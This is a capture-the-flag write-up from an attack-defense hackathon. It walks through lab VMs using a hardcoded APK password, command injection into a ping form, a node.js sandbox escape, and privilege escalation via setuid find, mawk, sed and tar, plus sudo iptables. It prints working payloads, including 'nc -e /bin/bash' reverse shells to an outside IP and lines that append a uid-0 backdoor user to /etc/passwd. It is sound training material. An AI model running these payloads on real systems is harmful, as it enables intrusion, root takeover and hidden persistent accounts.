The Turin Cybersec Hackaton was organized by the guys at JeTOP, in collaboration with KPMG, Shielder and the PoliTO University.

Note If you have solved a challenge that you don’t see listed here and you have material/source-code or you want to write a writeup, write to us on telegram in the @CapTheFlag group. ;)

TL;DR The CTF was an Attack-Defense type. Most of the VMs were made of 2 parts, Web and PrivEsc.

The target for the web part was to gain code execution thru a reverse-shell,
then you had to escalate to root to write the /flag/flag file and patch the VM.

Since I don’t remember the exact pairs of Web-PrivEsc and I don’t remember their name either,
I will just list random things in random order. :)



The VM had 2 open port, 80 and 1337.
Port 1337 was dropping our packets.
The website was asking for username and password.

We ran dirbuster and find out the app/app-release.apk file.

Decompiled with apk2java we get this source:

package it.shielder.securelogin;

import android.view.View;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;

public class WIPClass {
    public void Get(View object) {
        object = Calendar.getInstance();
        object = new SimpleDateFormat("ddMMyyyy").format(object.getTime());
        String string2 = new String(new byte[]{97, 115, 103, 97, 100, 97, 114, 105, 100, 100, 117});
        (String)object + string2;

If we run this chunk of code we find out that the passowrd is: $pass_today = $date_today . "asgadariddu";

We login in with as admin and we get redirected to check_turbine.php page.

Here you can insert an ip address and ping it.
The website checks if the input have ; in it (for preventing multiple command chaining) but alternatively you can use & or \n (%0a).

Send ip=" %0a nc -e /bin/bash 2020" to spawn a reverse shell.

Privilege Escalation

Once you gain a shell access to a VM there are a few thing you should check out:

  • setuid executables (find / -perm -4000 2>/dev/null)
  • crontabs (crontab -l, cat /etc/crontab, ls /var/spool/cron/crontabs/)
  • sudoers (cat /etc/sudoers)
  • running services/processes (ps aux, lsof, systemctl status)
  • check for mount options


There was a service running on 1337 available only for localhost, ran as root. Now we can connect to it from our reverse shell.

Connecting to it we can see a strange prompt



We tested some inputs

#> a[0]=1
Dangerous characters detected

Phone #> console.log(1)
Dangerous characters detected

#> eval
function eval() { [native code] }

This is node.js, but unfortunately some characters were filtered, like []./.

We can bypass the filter on . with this function function punto(i){ for (c of __filename){ if (i > -9) {i--} else return c } } since filename is /root/rat.js.

Sending this as input show us the source code. Unfortunately we discovered that many STD classes were overwritten in the eval context.

var line = "";

var call,Array,ArrayBuffer,Boolean,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Date,Error,EvalError,Float32Array,Float64Array,Function,Int16Array,Int32Array,Int8Array,Map,Number,Object,Promise,Proxy,RangeError,ReferenceError,Set,String,Symbol,SyntaxError,TypeError,URIError,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,assert,call,clearImmediate,clearInterval,clearTimeout,constructor,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,events,flag,global,hasOwnProperty,isFinite,isNaN,isPrototypeOf,parseFloat,parseInt,process,propertyIsEnumerable,require,rl,setImmediate,setInterval,setTimeout,stream,template,toLocaleString,toString,unescape,valueOf;

if(new RegExp(/[\[\]\.\\\+\/;,=]/).test(number)){
    console.log("Dangerous characters detected");
    throw 123;

if(new RegExp(/with/i).test(number)){
    console.log("Dangerous characters detected");
    throw 123;
arguments = undefined;


In javascript you can change context with the with statement

Since with is filtered with a simple regex, we can bypass that check by using w${line}ith instead, line is declared empty in the source code above. Making good use of Template Literals.

Finally we can simply eval our payload in the global context to get access to all the jailed functions.

This will spawn a reverse-shell as root:

function punto(i){ for (c of __filename){ if (i > -9) {i--} else return c } } eval(`w${line}ith (root) { eval(decodeURIComponent("module%2erequire('child_process')%2eexec('nc%20-e%20%2Fbin%2Fbash%2010%2e105%2e10%2e79%204444')")) }`)

2, 3, 4, 5

In many VMs there were setuid executables.

Here it’s just a matter of appending a line into /etc/passwd.

Our line was jbz:AjNoV1Tjj0tSc:0:0:jbz:/root:/bin/bash (user jbz, password jbz, uid 0, home /root)

After adding the line just run su jbz or ssh jbz@hostname


find /etc/passwd -exec sh -c "echo jbz:AjNoV1Tjj0tSc:0:0:jbz:/root:/bin/bash >> {}" \;


mawk 'END{print "jbz:AjNoV1Tjj0tSc:0:0:jbz:/root:/bin/bash" >> "/etc/passwd"}'


sed -i '$ a jbz:AjNoV1Tjj0tSc:0:0:jbz:/root:/bin/bash' /etc/passwd


Having tar with setuid we can compress a /etc/passwd file with our jbz user, and decompress it in the /etc folder, overwriting the system passwd file.

tar -xzvf passwd.tar.gz -C /etc


In a VM there was iptables in the /etc/sudoers file with NOPASSWD option.
This means you can run sudo iptables as root without inserting the root’s password.


We need to get command execution with iptables.

Reading the manpage we discovered this option:

    When adding or inserting rules into a chain, use command to load
    any necessary modules (targets, match extensions, etc).

In the /etc/modprobe.d/iptables.conf file the nat table was blacklisted (and not loaded).
This way we can use the --modprobe option on the nat table to execute a custom script.

$ echo -e "#!/bin/sh\n/bin/sh" > /tmp/shell
$ chmod +x /tmp/shell
$ sudo iptables -L -t nat --modprobe=/tmp/shell
# whoami